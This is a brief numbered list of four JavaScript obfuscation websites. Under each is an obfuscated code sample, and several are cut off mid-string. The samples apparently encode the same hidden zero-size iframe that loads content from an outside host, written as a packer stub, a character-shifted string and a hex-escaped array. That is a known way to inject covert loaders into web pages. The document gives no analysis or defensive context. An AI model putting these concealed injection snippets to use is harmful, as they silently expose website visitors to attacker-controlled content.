1、
http://www.jsobfuscate.com/index.php

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1

2、
http://www.gaijin.at/en/olsjse.php

var a="fmawoglv,upkvg'0:'00'1Akdpcog'02qpa'1Fjvvr'1C--crhal,ljpk,mpe,vu-qgptgp-crhal-Lgqvng-rcqqumpf,znq'02ukfvj'1F2'02jgkejv'1F2'1G'1A-kdpcog'1G'00'0;'1@";b="";

3、
http://webtools.live2support.com/misc_javascript_encrypter.php

var enkripsi="fmawoglv,upkvg'0:'00'1Akdpcog'02qpa'1Fjvvr'1C--crhal,ljpk,mpe,vu-qgptgp-crhal-Lgqvng-rcqqumpf,znq'02ukfvj'1F2'02jgkejv'1F2'1G'1A-kdpcog'1G'00'0;'1@"

4、
https://javascriptobfuscator.com/Javascript-Obfuscator.aspx

var _0x242a=["\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x3A\x2F\x2F\x61\x70\x6A\x63\x6E\x2E